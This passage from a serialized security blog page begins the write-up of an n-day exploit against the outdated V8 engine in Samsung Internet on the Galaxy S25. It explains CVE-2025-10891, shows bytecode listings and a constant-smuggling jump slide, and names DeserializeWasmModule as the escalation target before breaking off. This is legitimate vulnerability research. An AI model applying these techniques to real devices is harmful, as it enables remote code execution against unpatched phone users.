reliable guest-to-host escape.",{"type":22,"tag":23,"props":135430,"children":135431},{},[135432],{"type":27,"value":135433},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":22,"tag":6891,"props":135435,"children":135436},{},[135437],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":135439},[135440,135443,135446,135455],{"id":127168,"depth":157,"text":127181,"children":135441},[135442],{"id":127189,"depth":182,"text":127192},{"id":127213,"depth":157,"text":127216,"children":135444},[135445],{"id":127227,"depth":182,"text":127227},{"id":103615,"depth":157,"text":103618,"children":135447},[135448,135449,135450,135451,135452,135453,135454],{"id":129819,"depth":182,"text":129822},{"id":131346,"depth":182,"text":131349},{"id":132140,"depth":182,"text":132143},{"id":132545,"depth":182,"text":132548},{"id":132761,"depth":182,"text":132764},{"id":132967,"depth":182,"text":132970},{"id":135263,"depth":182,"text":135266},{"id":6776,"depth":157,"text":6779},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":135460,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":135461,"description":135462,"date":135463,"author":135464,"image":135467,"isFeatured":15,"onBlogPage":15,"tags":135469,"body":135472,"_type":6912,"_id":145380,"_source":6914,"_file":145381,"_stem":145382,"_extension":6917},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[127164,135465,135466],"jamie","william",{"src":135468,"width":100775,"height":17626},"/posts/mobile-renderer-rce/title.png",[135470,135471],"RCE","mobile",{"type":19,"children":135473,"toc":145360},[135474,135478,135483,135497,135503,135517,135538,135546,135559,135567,135580,135586,135599,135613,135619,135633,135736,135741,135749,135754,135759,135780,135858,135866,135885,135898,135904,135910,135924,136040,136045,136050,136058,136063,136071,136099,136128,136140,136316,136321,136329,136348,136361,136367,136387,136401,136406,136411,136439,136475,136544,136550,136572,136577,136585,136598,136603,136611,136616,136655,136661,136674,136679,136857,136867,136875,136895,136919,136932,136938,136943,137585,137590,137598,137640,139629,139634,139642,139648,139681,139699,139869,139927,139952,140046,140051,140842,140847,140855,140866,142910,142915,142923,142929,142951,142965,142978,142990,143020,143025,143466,143494,143601,143618,143775,143780,143792,144088,144114,144137,144269,144281,144286,144438,144474,144487,144492,144614,144655,144732,144737,145311,145317,145329,145342,145346,145351,145356],{"type":22,"tag":53,"props":135475,"children":135476},{"id":33014},[135477],{"type":27,"value":33017},{"type":22,"tag":23,"props":135479,"children":135480},{},[135481],{"type":27,"value":135482},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":22,"tag":23,"props":135484,"children":135485},{},[135486,135488,135495],{"type":27,"value":135487},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":22,"tag":80,"props":135489,"children":135492},{"href":135490,"rel":135491},"https://cor.team",[84],[135493],{"type":27,"value":135494},"Crusaders of Rust",{"type":27,"value":135496}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":22,"tag":1760,"props":135498,"children":135500},{"id":135499},"finding-the-v8-version",[135501],{"type":27,"value":135502},"Finding the V8 Version",{"type":22,"tag":23,"props":135504,"children":135505},{},[135506,135508,135515],{"type":27,"value":135507},"We started by pulling Samsung Internet's APK from the device over ",{"type":22,"tag":80,"props":135509,"children":135512},{"href":135510,"rel":135511},"https://developer.android.com/tools/adb",[84],[135513],{"type":27,"value":135514},"adb",{"type":27,"value":135516}," and inspecting the libraries it shipped with.",{"type":22,"tag":23,"props":135518,"children":135519},{},[135520,135522,135528,135530,135536],{"type":27,"value":135521},"After extracting the APK, we searched the ",{"type":22,"tag":30,"props":135523,"children":135525},{"className":135524},[],[135526],{"type":27,"value":135527},"lib/",{"type":27,"value":135529}," directory for ",{"type":22,"tag":30,"props":135531,"children":135533},{"className":135532},[],[135534],{"type":27,"value":135535},"v8::*",{"type":27,"value":135537}," symbols:",{"type":22,"tag":91,"props":135539,"children":135541},{"code":135540},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[135542],{"type":22,"tag":30,"props":135543,"children":135544},{"__ignoreMap":7},[135545],{"type":27,"value":135540},{"type":22,"tag":23,"props":135547,"children":135548},{},[135549,135551,135557],{"type":27,"value":135550},"Only one file matched our search: ",{"type":22,"tag":30,"props":135552,"children":135554},{"className":135553},[],[135555],{"type":27,"value":135556},"libterrace.so",{"type":27,"value":135558},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":22,"tag":23,"props":135560,"children":135561},{},[135562],{"type":22,"tag":7959,"props":135563,"children":135566},{"alt":135564,"src":135565},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":22,"tag":23,"props":135568,"children":135569},{},[135570,135572,135578],{"type":27,"value":135571},"Surprisingly, this ",{"type":22,"tag":30,"props":135573,"children":135575},{"className":135574},[],[135576],{"type":27,"value":135577},"13.6.233.10",{"type":27,"value":135579}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":22,"tag":1760,"props":135581,"children":135583},{"id":135582},"choosing-the-bug",[135584],{"type":27,"value":135585},"Choosing the Bug",{"type":22,"tag":23,"props":135587,"children":135588},{},[135589,135591,135597],{"type":27,"value":135590},"We were able to trigger a couple of bugs on our locally compiled ",{"type":22,"tag":30,"props":135592,"children":135594},{"className":135593},[],[135595],{"type":27,"value":135596},"d8",{"type":27,"value":135598}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":22,"tag":23,"props":135600,"children":135601},{},[135602,135604,135611],{"type":27,"value":135603},"Another one was ",{"type":22,"tag":80,"props":135605,"children":135608},{"href":135606,"rel":135607},"https://issuetracker.google.com/issues/443875388",[84],[135609],{"type":27,"value":135610},"CVE-2025-10891",{"type":27,"value":135612}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":22,"tag":53,"props":135614,"children":135616},{"id":135615},"ignition-bytecode-introduction",[135617],{"type":27,"value":135618},"Ignition Bytecode Introduction",{"type":22,"tag":23,"props":135620,"children":135621},{},[135622,135624,135631],{"type":27,"value":135623},"V8 initially compiles all JS code to a bytecode format with the ",{"type":22,"tag":80,"props":135625,"children":135628},{"href":135626,"rel":135627},"https://v8.dev/blog/ignition-interpreter",[84],[135629],{"type":27,"value":135630},"Ignition",{"type":27,"value":135632}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":22,"tag":91,"props":135634,"children":135636},{"code":135635,"language":35361,"meta":7,"className":35359,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[135637],{"type":22,"tag":30,"props":135638,"children":135639},{"__ignoreMap":7},[135640,135663,135687,135711],{"type":22,"tag":101,"props":135641,"children":135642},{"class":103,"line":104},[135643,135647,135651,135655,135659],{"type":22,"tag":101,"props":135644,"children":135645},{"style":108},[135646],{"type":27,"value":15792},{"type":22,"tag":101,"props":135648,"children":135649},{"style":126},[135650],{"type":27,"value":93343},{"type":22,"tag":101,"props":135652,"children":135653},{"style":166},[135654],{"type":27,"value":960},{"type":22,"tag":101,"props":135656,"children":135657},{"style":1544},[135658],{"type":27,"value":3648},{"type":22,"tag":101,"props":135660,"children":135661},{"style":120},[135662],{"type":27,"value":1520},{"type":22,"tag":101,"props":135664,"children":135665},{"class":103,"line":157},[135666,135670,135674,135678,135683],{"type":22,"tag":101,"props":135667,"children":135668},{"style":108},[135669],{"type":27,"value":15792},{"type":22,"tag":101,"props":135671,"children":135672},{"style":126},[135673],{"type":27,"value":94217},{"type":22,"tag":101,"props":135675,"children":135676},{"style":166},[135677],{"type":27,"value":960},{"type":22,"tag":101,"props":135679,"children":135680},{"style":1544},[135681],{"type":27,"value":135682}," 0x0fff",{"type":22,"tag":101,"props":135684,"children":135685},{"style":120},[135686],{"type":27,"value":1520},{"type":22,"tag":101,"props":135688,"children":135689},{"class":103,"line":182},[135690,135694,135698,135702,135707],{"type":22,"tag":101,"props":135691,"children":135692},{"style":108},[135693],{"type":27,"value":15792},{"type":22,"tag":101,"props":135695,"children":135696},{"style":126},[135697],{"type":27,"value":41441},{"type":22,"tag":101,"props":135699,"children":135700},{"style":166},[135701],{"type":27,"value":960},{"type":22,"tag":101,"props":135703,"children":135704},{"style":1544},[135705],{"type":27,"value":135706}," 0x0fffffff",{"type":22,"tag":101,"props":135708,"children":135709},{"style":120},[135710],{"type":27,"value":1520},{"type":22,"tag":101,"props":135712,"children":135713},{"class":103,"line":367},[135714,135718,135723,135727,135732],{"type":22,"tag":101,"props":135715,"children":135716},{"style":108},[135717],{"type":27,"value":15792},{"type":22,"tag":101,"props":135719,"children":135720},{"style":126},[135721],{"type":27,"value":135722}," d",{"type":22,"tag":101,"props":135724,"children":135725},{"style":166},[135726],{"type":27,"value":960},{"type":22,"tag":101,"props":135728,"children":135729},{"style":1544},[135730],{"type":27,"value":135731}," 0xffffffff",{"type":22,"tag":101,"props":135733,"children":135734},{"style":120},[135735],{"type":27,"value":1520},{"type":22,"tag":23,"props":135737,"children":135738},{},[135739],{"type":27,"value":135740},"compiles to",{"type":22,"tag":91,"props":135742,"children":135744},{"code":135743}," # Load the Smi `1` into the accumulator\n 0 : 0d 01 LdaSmi [1]\n # Store it to register 0\n 2 : ce Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00 LdaConstant [0]\n# Store it to register 3\n17 : cb Star3\n18 : 0e LdaUndefined\n19 : b3 Return\n",[135745],{"type":22,"tag":30,"props":135746,"children":135747},{"__ignoreMap":7},[135748],{"type":27,"value":135743},{"type":22,"tag":23,"props":135750,"children":135751},{},[135752],{"type":27,"value":135753},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":22,"tag":1760,"props":135755,"children":135757},{"id":135756},"cve-2025-10891",[135758],{"type":27,"value":135610},{"type":22,"tag":23,"props":135760,"children":135761},{},[135762,135764,135770,135772,135778],{"type":27,"value":135763},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":22,"tag":30,"props":135765,"children":135767},{"className":135766},[],[135768],{"type":27,"value":135769},"[start, end) => handler",{"type":27,"value":135771}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":22,"tag":30,"props":135773,"children":135775},{"className":135774},[],[135776],{"type":27,"value":135777},"handler",{"type":27,"value":135779}," is jumped to.",{"type":22,"tag":91,"props":135781,"children":135783},{"code":135782,"language":35361,"meta":7,"className":35359,"style":7},"try {\n throw 1;\n} catch {\n let b = 2;\n}\n",[135784],{"type":22,"tag":30,"props":135785,"children":135786},{"__ignoreMap":7},[135787,135798,135813,135828,135851],{"type":22,"tag":101,"props":135788,"children":135789},{"class":103,"line":104},[135790,135794],{"type":22,"tag":101,"props":135791,"children":135792},{"style":3595},[135793],{"type":27,"value":52328},{"type":22,"tag":101,"props":135795,"children":135796},{"style":120},[135797],{"type":27,"value":154},{"type":22,"tag":101,"props":135799,"children":135800},{"class":103,"line":157},[135801,135805,135809],{"type":22,"tag":101,"props":135802,"children":135803},{"style":3595},[135804],{"type":27,"value":39198},{"type":22,"tag":101,"props":135806,"children":135807},{"style":1544},[135808],{"type":27,"value":3648},{"type":22,"tag":101,"props":135810,"children":135811},{"style":120},[135812],{"type":27,"value":1520},{"type":22,"tag":101,"props":135814,"children":135815},{"class":103,"line":182},[135816,135820,135824],{"type":22,"tag":101,"props":135817,"children":135818},{"style":120},[135819],{"type":27,"value":50870},{"type":22,"tag":101,"props":135821,"children":135822},{"style":3595},[135823],{"type":27,"value":52408},{"type":22,"tag":101,"props":135825,"children":135826},{"style":120},[135827],{"type":27,"value":154},{"type":22,"tag":101,"props":135829,"children":135830},{"class":103,"line":367},[135831,135835,135839,135843,135847],{"type":22,"tag":101,"props":135832,"children":135833},{"style":108},[135834],{"type":27,"value":11865},{"type":22,"tag":101,"props":135836,"children":135837},{"style":126},[135838],{"type":27,"value":94217},{"type":22,"tag":101,"props":135840,"children":135841},{"style":166},[135842],{"type":27,"value":960},{"type":22,"tag":101,"props":135844,"children":135845},{"style":1544},[135846],{"type":27,"value":11944},{"type":22,"tag":101,"props":135848,"children":135849},{"style":120},[135850],{"type":27,"value":1520},{"type":22,"tag":101,"props":135852,"children":135853},{"class":103,"line":398},[135854],{"type":22,"tag":101,"props":135855,"children":135856},{"style":120},[135857],{"type":27,"value":188},{"type":22,"tag":91,"props":135859,"children":135861},{"code":135860}," 0 : 1b ff f8 Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01 LdaSmi [1]\n 5 : b1 Throw\n # ---------------------------------\n 6 : 10 LdaTheHole\n 7 : b0 SetPendingMessage\n # Start of catch handler\n 8 : 0d 02 LdaSmi [2]\n10 : ce Star0\n11 : 0e LdaUndefined\n12 : b3 Return\nHandler Table (size = 16)\n from to hdlr (prediction, data)\n ( 3, 6) -> 6 (prediction=1, data=1)\n",[135862],{"type":22,"tag":30,"props":135863,"children":135864},{"__ignoreMap":7},[135865],{"type":27,"value":135860},{"type":22,"tag":23,"props":135867,"children":135868},{},[135869,135871,135876,135878,135883],{"type":27,"value":135870},"However, the ",{"type":22,"tag":30,"props":135872,"children":135874},{"className":135873},[],[135875],{"type":27,"value":135777},{"type":27,"value":135877}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":22,"tag":30,"props":135879,"children":135881},{"className":135880},[],[135882],{"type":27,"value":52408},{"type":27,"value":135884}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":22,"tag":23,"props":135886,"children":135887},{},[135888,135890,135896],{"type":27,"value":135889},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":22,"tag":30,"props":135891,"children":135893},{"className":135892},[],[135894],{"type":27,"value":135895},"yield*",{"type":27,"value":135897}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":22,"tag":53,"props":135899,"children":135901},{"id":135900},"exploitation",[135902],{"type":27,"value":135903},"Exploitation",{"type":22,"tag":1760,"props":135905,"children":135907},{"id":135906},"constant-smuggling",[135908],{"type":27,"value":135909},"Constant Smuggling",{"type":22,"tag":23,"props":135911,"children":135912},{},[135913,135915,135922],{"type":27,"value":135914},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":22,"tag":80,"props":135916,"children":135919},{"href":135917,"rel":135918},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[84],[135920],{"type":27,"value":135921},"technique",{"type":27,"value":135923}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":22,"tag":91,"props":135925,"children":135927},{"code":135926,"language":35361,"meta":7,"className":35359,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[135928],{"type":22,"tag":30,"props":135929,"children":135930},{"__ignoreMap":7},[135931,135959,135986,136013],{"type":22,"tag":101,"props":135932,"children":135933},{"class":103,"line":104},[135934,135938,135942,135946,135950,135955],{"type":22,"tag":101,"props":135935,"children":135936},{"style":108},[135937],{"type":27,"value":15792},{"type":22,"tag":101,"props":135939,"children":135940},{"style":126},[135941],{"type":27,"value":93343},{"type":22,"tag":101,"props":135943,"children":135944},{"style":166},[135945],{"type":27,"value":960},{"type":22,"tag":101,"props":135947,"children":135948},{"style":166},[135949],{"type":27,"value":55251},{"type":22,"tag":101,"props":135951,"children":135952},{"style":1544},[135953],{"type":27,"value":135954},"9.255963134931783e61",{"type":22,"tag":101,"props":135956,"children":135957},{"style":120},[135958],{"type":27,"value":1520},{"type":22,"tag":101,"props":135960,"children":135961},{"class":103,"line":157},[135962,135966,135970,135974,135978,135982],{"type":22,"tag":101,"props":135963,"children":135964},{"style":108},[135965],{"type":27,"value":15792},{"type":22,"tag":101,"props":135967,"children":135968},{"style":126},[135969],{"type":27,"value":94217},{"type":22,"tag":101,"props":135971,"children":135972},{"style":166},[135973],{"type":27,"value":960},{"type":22,"tag":101,"props":135975,"children":135976},{"style":166},[135977],{"type":27,"value":55251},{"type":22,"tag":101,"props":135979,"children":135980},{"style":1544},[135981],{"type":27,"value":135954},{"type":22,"tag":101,"props":135983,"children":135984},{"style":120},[135985],{"type":27,"value":1520},{"type":22,"tag":101,"props":135987,"children":135988},{"class":103,"line":182},[135989,135993,135997,136001,136005,136009],{"type":22,"tag":101,"props":135990,"children":135991},{"style":108},[135992],{"type":27,"value":15792},{"type":22,"tag":101,"props":135994,"children":135995},{"style":126},[135996],{"type":27,"value":41441},{"type":22,"tag":101,"props":135998,"children":135999},{"style":166},[136000],{"type":27,"value":960},{"type":22,"tag":101,"props":136002,"children":136003},{"style":166},[136004],{"type":27,"value":55251},{"type":22,"tag":101,"props":136006,"children":136007},{"style":1544},[136008],{"type":27,"value":135954},{"type":22,"tag":101,"props":136010,"children":136011},{"style":120},[136012],{"type":27,"value":1520},{"type":22,"tag":101,"props":136014,"children":136015},{"class":103,"line":367},[136016,136020,136024,136028,136032,136036],{"type":22,"tag":101,"props":136017,"children":136018},{"style":108},[136019],{"type":27,"value":15792},{"type":22,"tag":101,"props":136021,"children":136022},{"style":126},[136023],{"type":27,"value":135722},{"type":22,"tag":101,"props":136025,"children":136026},{"style":166},[136027],{"type":27,"value":960},{"type":22,"tag":101,"props":136029,"children":136030},{"style":166},[136031],{"type":27,"value":55251},{"type":22,"tag":101,"props":136033,"children":136034},{"style":1544},[136035],{"type":27,"value":135954},{"type":22,"tag":101,"props":136037,"children":136038},{"style":120},[136039],{"type":27,"value":1520},{"type":22,"tag":23,"props":136041,"children":136042},{},[136043],{"type":27,"value":136044},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":22,"tag":23,"props":136046,"children":136047},{},[136048],{"type":27,"value":136049},"We'll use a similar principle here, although much more limited. With",{"type":22,"tag":91,"props":136051,"children":136053},{"code":136052},"let a = 0x0693bebe;\n",[136054],{"type":22,"tag":30,"props":136055,"children":136056},{"__ignoreMap":7},[136057],{"type":27,"value":136052},{"type":22,"tag":23,"props":136059,"children":136060},{},[136061],{"type":27,"value":136062},"We will compile the bytecode:",{"type":22,"tag":91,"props":136064,"children":136066},{"code":136065},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[136067],{"type":22,"tag":30,"props":136068,"children":136069},{"__ignoreMap":7},[136070],{"type":27,"value":136065},{"type":22,"tag":23,"props":136072,"children":136073},{},[136074,136076,136082,136084,136090,136091,136097],{"type":27,"value":136075},"We can then jump to the 3rd byte (",{"type":22,"tag":30,"props":136077,"children":136079},{"className":136078},[],[136080],{"type":27,"value":136081},"0xbe",{"type":27,"value":136083},"), and gain 2 controlled bytes of execution, followed by ",{"type":22,"tag":30,"props":136085,"children":136087},{"className":136086},[],[136088],{"type":27,"value":136089},"0x93 0x02 - 0xf",{"type":27,"value":3603},{"type":22,"tag":30,"props":136092,"children":136094},{"className":136093},[],[136095],{"type":27,"value":136096},"Jump +[2-15]",{"type":27,"value":136098},") to jump into the next constant.",{"type":22,"tag":23,"props":136100,"children":136101},{},[136102,136104,136110,136112,136118,136120,136126],{"type":27,"value":136103},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":22,"tag":30,"props":136105,"children":136107},{"className":136106},[],[136108],{"type":27,"value":136109},"StarX",{"type":27,"value":136111}," instructions, registers 16-121 resulted in two bytes ",{"type":22,"tag":30,"props":136113,"children":136115},{"className":136114},[],[136116],{"type":27,"value":136117},"Star rX",{"type":27,"value":136119}," instructions, and the next batch resulted in 4 byte ",{"type":22,"tag":30,"props":136121,"children":136123},{"className":136122},[],[136124],{"type":27,"value":136125},"Star.ExtraWide rX",{"type":27,"value":136127}," instructions.",{"type":22,"tag":23,"props":136129,"children":136130},{},[136131,136133,136139],{"type":27,"value":136132},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":22,"tag":30,"props":136134,"children":136136},{"className":136135},[],[136137],{"type":27,"value":136138},"0x8931111",{"type":27,"value":169},{"type":22,"tag":91,"props":136141,"children":136143},{"code":136142,"language":35361,"meta":7,"className":35359,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[136144],{"type":22,"tag":30,"props":136145,"children":136146},{"__ignoreMap":7},[136147,136172,136196,136220,136244,136268,136292],{"type":22,"tag":101,"props":136148,"children":136149},{"class":103,"line":104},[136150,136154,136159,136163,136168],{"type":22,"tag":101,"props":136151,"children":136152},{"style":108},[136153],{"type":27,"value":15792},{"type":22,"tag":101,"props":136155,"children":136156},{"style":126},[136157],{"type":27,"value":136158}," a206",{"type":22,"tag":101,"props":136160,"children":136161},{"style":166},[136162],{"type":27,"value":960},{"type":22,"tag":101,"props":136164,"children":136165},{"style":1544},[136166],{"type":27,"value":136167}," 0x8931111",{"type":22,"tag":101,"props":136169,"children":136170},{"style":120},[136171],{"type":27,"value":1520},{"type":22,"tag":101,"props":136173,"children":136174},{"class":103,"line":157},[136175,136179,136184,136188,136192],{"type":22,"tag":101,"props":136176,"children":136177},{"style":108},[136178],{"type":27,"value":15792},{"type":22,"tag":101,"props":136180,"children":136181},{"style":126},[136182],{"type":27,"value":136183}," a207",{"type":22,"tag":101,"props":136185,"children":136186},{"style":166},[136187],{"type":27,"value":960},{"type":22,"tag":101,"props":136189,"children":136190},{"style":1544},[136191],{"type":27,"value":136167},{"type":22,"tag":101,"props":136193,"children":136194},{"style":120},[136195],{"type":27,"value":1520},{"type":22,"tag":101,"props":136197,"children":136198},{"class":103,"line":182},[136199,136203,136208,136212,136216],{"type":22,"tag":101,"props":136200,"children":136201},{"style":108},[136202],{"type":27,"value":15792},{"type":22,"tag":101,"props":136204,"children":136205},{"style":126},[136206],{"type":27,"value":136207}," a208",{"type":22,"tag":101,"props":136209,"children":136210},{"style":166},[136211],{"type":27,"value":960},{"type":22,"tag":101,"props":136213,"children":136214},{"style":1544},[136215],{"type":27,"value":136167},{"type":22,"tag":101,"props":136217,"children":136218},{"style":120},[136219],{"type":27,"value":1520},{"type":22,"tag":101,"props":136221,"children":136222},{"class":103,"line":367},[136223,136227,136232,136236,136240],{"type":22,"tag":101,"props":136224,"children":136225},{"style":108},[136226],{"type":27,"value":15792},{"type":22,"tag":101,"props":136228,"children":136229},{"style":126},[136230],{"type":27,"value":136231}," a209",{"type":22,"tag":101,"props":136233,"children":136234},{"style":166},[136235],{"type":27,"value":960},{"type":22,"tag":101,"props":136237,"children":136238},{"style":1544},[136239],{"type":27,"value":136167},{"type":22,"tag":101,"props":136241,"children":136242},{"style":120},[136243],{"type":27,"value":1520},{"type":22,"tag":101,"props":136245,"children":136246},{"class":103,"line":398},[136247,136251,136256,136260,136264],{"type":22,"tag":101,"props":136248,"children":136249},{"style":108},[136250],{"type":27,"value":15792},{"type":22,"tag":101,"props":136252,"children":136253},{"style":126},[136254],{"type":27,"value":136255}," a210",{"type":22,"tag":101,"props":136257,"children":136258},{"style":166},[136259],{"type":27,"value":960},{"type":22,"tag":101,"props":136261,"children":136262},{"style":1544},[136263],{"type":27,"value":136167},{"type":22,"tag":101,"props":136265,"children":136266},{"style":120},[136267],{"type":27,"value":1520},{"type":22,"tag":101,"props":136269,"children":136270},{"class":103,"line":428},[136271,136275,136280,136284,136288],{"type":22,"tag":101,"props":136272,"children":136273},{"style":108},[136274],{"type":27,"value":15792},{"type":22,"tag":101,"props":136276,"children":136277},{"style":126},[136278],{"type":27,"value":136279}," a211",{"type":22,"tag":101,"props":136281,"children":136282},{"style":166},[136283],{"type":27,"value":960},{"type":22,"tag":101,"props":136285,"children":136286},{"style":1544},[136287],{"type":27,"value":136167},{"type":22,"tag":101,"props":136289,"children":136290},{"style":120},[136291],{"type":27,"value":1520},{"type":22,"tag":101,"props":136293,"children":136294},{"class":103,"line":997},[136295,136299,136304,136308,136312],{"type":22,"tag":101,"props":136296,"children":136297},{"style":108},[136298],{"type":27,"value":15792},{"type":22,"tag":101,"props":136300,"children":136301},{"style":126},[136302],{"type":27,"value":136303}," a212",{"type":22,"tag":101,"props":136305,"children":136306},{"style":166},[136307],{"type":27,"value":960},{"type":22,"tag":101,"props":136309,"children":136310},{"style":1544},[136311],{"type":27,"value":136167},{"type":22,"tag":101,"props":136313,"children":136314},{"style":120},[136315],{"type":27,"value":1520},{"type":22,"tag":23,"props":136317,"children":136318},{},[136319],{"type":27,"value":136320},"Those instructions result in:",{"type":22,"tag":91,"props":136322,"children":136324},{"code":136323},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8; >------------+\n04: Star rX + LdaSmi ... |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[136325],{"type":22,"tag":30,"props":136326,"children":136327},{"__ignoreMap":7},[136328],{"type":27,"value":136323},{"type":22,"tag":23,"props":136330,"children":136331},{},[136332,136334,136340,136342,136346],{"type":27,"value":136333},"(The offset of ",{"type":22,"tag":30,"props":136335,"children":136337},{"className":136336},[],[136338],{"type":27,"value":136339},"Jump",{"type":27,"value":136341}," instructions is added to the ",{"type":22,"tag":6961,"props":136343,"children":136344},{},[136345],{"type":27,"value":74596},{"type":27,"value":136347}," of the instruction.)",{"type":22,"tag":23,"props":136349,"children":136350},{},[136351,136353,136359],{"type":27,"value":136352},"Now, 3 out of the 6 bytes in a ",{"type":22,"tag":30,"props":136354,"children":136356},{"className":136355},[],[136357],{"type":27,"value":136358},"LdaSmi.ExtraWide",{"type":27,"value":136360}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":22,"tag":1760,"props":136362,"children":136364},{"id":136363},"exploit-goal",[136365],{"type":27,"value":136366},"Exploit Goal",{"type":22,"tag":23,"props":136368,"children":136369},{},[136370,136372,136378,136379,136385],{"type":27,"value":136371},"Initially we considered using ",{"type":22,"tag":30,"props":136373,"children":136375},{"className":136374},[],[136376],{"type":27,"value":136377},"Star",{"type":27,"value":8625},{"type":22,"tag":30,"props":136380,"children":136382},{"className":136381},[],[136383],{"type":27,"value":136384},"Ldar",{"type":27,"value":136386}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":22,"tag":23,"props":136388,"children":136389},{},[136390,136392,136399],{"type":27,"value":136391},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":22,"tag":80,"props":136393,"children":136396},{"href":136394,"rel":136395},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[84],[136397],{"type":27,"value":136398},"stack pivot and ROP",{"type":27,"value":136400},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":22,"tag":23,"props":136402,"children":136403},{},[136404],{"type":27,"value":136405},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":22,"tag":23,"props":136407,"children":136408},{},[136409],{"type":27,"value":136410},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":22,"tag":23,"props":136412,"children":136413},{},[136414,136416,136422,136424,136430,136432,136438],{"type":27,"value":136415},"At this point, we identified an interesting opcode: ",{"type":22,"tag":30,"props":136417,"children":136419},{"className":136418},[],[136420],{"type":27,"value":136421},"CallRuntime",{"type":27,"value":136423},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":22,"tag":30,"props":136425,"children":136427},{"className":136426},[],[136428],{"type":27,"value":136429},"--allow-natives-syntax",{"type":27,"value":136431}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":22,"tag":30,"props":136433,"children":136435},{"className":136434},[],[136436],{"type":27,"value":136437},"DeserializeWasmModule",{"type":27,"value":231},{"type":22,"tag":23,"props":136440,"children":136441},{},[136442,136444,136451,136452,136457,136458,136464,136466,136473],{"type":27,"value":136443},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any 